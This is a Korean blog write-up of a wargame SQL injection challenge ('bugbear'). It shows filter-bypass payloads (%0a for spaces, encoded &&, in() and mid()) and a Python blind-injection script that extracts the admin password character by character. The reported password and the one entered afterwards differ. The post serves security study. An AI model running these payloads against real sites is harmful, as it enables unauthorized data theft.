728x90
?pw=1&&no=1||(length(pw)<9)를 입력하면,
pw 길이 == 8 인 것을 알 수 있다.
pw 알아내기
1. (공백)이 필터링 된다. 최대한 공백을 없애주고, 남는 공백 하나 (id와 in 사이)를 %0a로 바꿔서 우회한다.
2. &&을 %26%26(URL 인코딩)으로 우회한다.
3. '=' 대신에 in()을 사용한다.
4. substr() 대신 mid()를 사용한다.
최종 입력 값:
?no=1||(id(공백)in("admin")&&substr(pw,N,1)="?")
?no=1||(id%0ain("admin")%26%26mid(pw,N,1)in("?"))
그렇게 만든 sql injection 쿼리문을 이용해서 파이썬을 돌린다.
import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&&no=1||"
length=8#hash는 17자리
pw= ""
for i in range(1, 9):
for j in range(33, 125):#숫자부터 소문자z까지
# (mid(pw,N,1)in("?"))
search_str='(id%0ain("admin")%26%26mid(pw,'+str(i)+',1)in("'+chr(j)+'"))'
# print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
if response.text.find("Hello admin") !=-1:
pw+=chr(j)
print(f"round{i}: found in admin")
print("pw: "+pw)
break
pw: 52dc3091
URL 뒤에
?pw=52dc3991
입력 후 성공!
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] Assassin(SQL like wildkard) (0) | 2022.01.29 |
---|---|
[Load of SQL Injection] Giant (공백 문자 우회 방법 모음) (0) | 2022.01.28 |
[Load of SQL Injection] dark knight (0) | 2022.01.28 |
[Load of SQL Injection] Golem (0) | 2022.01.28 |
[Load of SQL Injection] Skeleton (0) | 2022.01.28 |